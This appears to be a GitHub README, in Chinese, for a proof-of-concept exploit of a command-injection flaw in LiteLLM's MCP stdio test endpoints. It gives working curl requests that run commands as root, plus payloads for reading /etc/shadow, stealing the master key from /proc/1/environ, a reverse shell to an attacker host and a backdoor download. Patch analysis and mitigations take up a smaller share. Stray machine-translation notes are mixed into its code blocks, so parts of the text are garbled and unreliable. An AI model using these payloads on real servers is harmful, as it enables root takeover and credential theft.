learner202649/CVE-2026-42271-PoC

# CVE-2026-42271 — LiteLLM 通过 MCP stdio 测试端点的已认证命令注入漏洞 | 字段 | 值 | |-------|-------| | CVE | **CVE-2026-42271** | | CVSS v4.0 | **8.7 (HIGH)** — `CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N` | | CVSS v3.1 | **8.8 (HIGH)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | | CWE | CWE-77 / CWE-78 (操作系统命令注入) | | 受影响版本 | LiteLLM **>= 1.74.2, < 1.83.7** | | 修复版本 | **v1.83.7+** (添加了命令白名单和 `PROXY_ADMIN` 角色检查) | | 公开日期 | 2026-05-08 | | **固定版本** | **v1.82.6** — 镜像通过 digest 固定，确保长期可复现 | | 相关链接 | [GHSA-v4p8-mg3p-g94g](https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g) • [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-42271) • [GitLab Advisory](https://advisories.gitlab.com/pypi/litellm/CVE-2026-42271/) | ## 描述 用于在保存前预览 MCP 服务器的两个端点 — `POST /mcp-rest/test/connection` 和 `POST /mcp-rest/test/tools/list` — 在请求体中接受完整的 MCP 服务器配置，包括 **stdio 传输**所使用的 `command`、`args` 和 `env` 字段。 当使用 stdio 配置调用时，这些端点会在代理主机上以代理进程（在默认 Docker 中为 root）的权限，将提供的命令作为 **子进程** 启动。 **关键问题：** 这些端点仅检查有效的代理 API 密钥，**不进行角色检查** — 即使是低权限的 `internal_user` 密钥也可以利用此漏洞。 ## 概念验证 ### 快速启动 (Docker) ``` # late it as "在容器内" and note that "container" is kept in English? No, the instruction says keep in English form. So, I'll keep "container" as is. docker compose up -d # - Full: "检查命令是否在 container 内执行" python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id" # 5. "Output: uid=0(root) gid=0(root) groups=0(root),0(root),..." curl -s -X POST \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ http://localhost:4000/mcp-rest/test/tools/list \ -d '{ "transport": "stdio", "command": "bash", "args": ["-c", "id > /tmp/pwned"] }' ``` ### 验证执行 ``` # - "Output" – "输出" docker exec litellm-cve cat /tmp/pwned # - The rest is a technical output with "uid", "gid", "groups", which are Unix/Linux terms, so keep them in English. ``` API 返回 `"Failed to connect to MCP server"`，因为启动的进程不使用 MCP 协议 — 但 **命令已经以 root 权限执行**。 ## 攻击场景 | 场景 | 载荷 | |----------|---------| | **基础 RCE** | `"args": ["-c", "id > /tmp/pwned"]` | | **读取文件** | `"args": ["-c", "cat /etc/shadow > /tmp/out"]` | | **窃取环境变量** | `"args": ["-c", "cat /proc/1/environ | tr '\\0' '\\n' > /tmp/env"]` → 包含 `LITELLM_MASTER_KEY` | | **反弹 Shell** | `"args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"]` | | **持久化** | `"args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"]` | ## 受影响端点 ### - So: "输出: uid=0(root) gid=0(root) groups=0(root),0(root),..." 测试 MCP 服务器连接。使用 stdio 传输时，会启动提供的命令。 ### 6. "`POST /mcp-rest/test/connection`" 列出测试 MCP 服务器的工具。行为相同 — 使用 stdio 传输时启动提供的命令。 ### 请求体格式 ``` { "transport": "stdio", "command": "bash", "args": ["-c", ""], "env": { "PATH": "/usr/bin:/bin" } } ``` | 字段 | 类型 | 必需 | 描述 | |-------|------|----------|-------------| | `transport` | string | 是 | 命令注入必须为 `"stdio"` | | `command` | string | 是 | 要启动的可执行文件 (例如 `bash`, `python`, `curl`) | | `args` | array | 是 | 传递给命令的参数 | | `env` | object | 否 | 子进程的环境变量 | ## 补丁分析 (v1.83.7) 修复增加了两层防御： 1. **命令白名单**，通过 `validate_transport_fields()` — 仅允许：`npx`, `uvx`, `python`, `python3`, `node`, `docker`, `deno` 2. **基于角色的访问控制** — 两个端点现在都需要 `PROXY_ADMIN` 角色 ## 仓库结构 ``` CVE-2026-42271/ ├── README.md # This file ├── docker-compose.yml # One-command vulnerable environment (pinned to v1.82.6) ├── requirements.txt # Dependencies ├── exploit/ │ ├── exploit.py # Full exploit script │ └── payload.py # Payload generation module ├── docs/ │ └── advisory.md # Advisory reference └── screenshots/ # Proof screenshots ``` ## 缓解措施 1. **升级** 到 LiteLLM **v1.83.7+** (命令白名单 + `PROXY_ADMIN` 角色检查) 2. 在反向代理处**阻止** `/mcp-rest/test/connection` 和 `/mcp-rest/test/tools/list` 3. **限制** API 密钥权限 — 如果怀疑泄露，请轮换密钥 4. 在 Docker 中以**非 root 用户**运行：`docker run --user 1000:1000 ...` ## ⚠️ 注意：MCP SDK 环境变量隔离 复现**第 5.7 节（提取进程环境变量）**时需注意：**MCP Python SDK v1.25.0+** 在创建 stdio 子进程时，**不会继承 LiteLLM 父进程的环境变量**。SDK 通过 `get_default_environment()` 仅传递 `HOME` 和 `PATH`，然后与用户显式指定的 `env` 字段合并。 因此 `env > /tmp/env_dump` **无法捕获 `LITELLM_MASTER_KEY`**。 **正确做法**：通过读取 LiteLLM 主进程的 `/proc/1/environ` 提取环境变量： ``` # 提取环境变量（通过 /proc/1/environ） curl -s -X POST \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ http://localhost:4000/mcp-rest/test/tools/list \ -d '{ "transport": "stdio", "command": "bash", "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"] }' # 查看结果 docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER" # 输出: LITELLM_MASTER_KEY=sk-litellm-master-key ``` 详情见[复现报告](CVE-2026-42271_漏洞复现报告.docx)第 5.7 节。 ## 参考资料 - [GitHub 安全公告 GHSA-v4p8-mg3p-g94g](https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g) - [GitLab Advisory](https://advisories.gitlab.com/pypi/litellm/CVE-2026-42271/) - [NVD 详情](https://nvd.nist.gov/vuln/detail/CVE-2026-42271) - [v1.83.7-stable 版本发布](https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable) - [LiteLLM MCP 文档](https://docs.litellm.ai/docs/mcp)

标签：AI框架, API安全, CVE-2026-42271, Docker, JSON输出, LiteLLM, MCP协议, PoC开发, Python, 命令注入, 安全测试, 安全防御评估, 攻击性安全, 无后门, 漏洞复现, 编程工具, 网络安全, 认证漏洞, 语言模型, 请求拦截, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞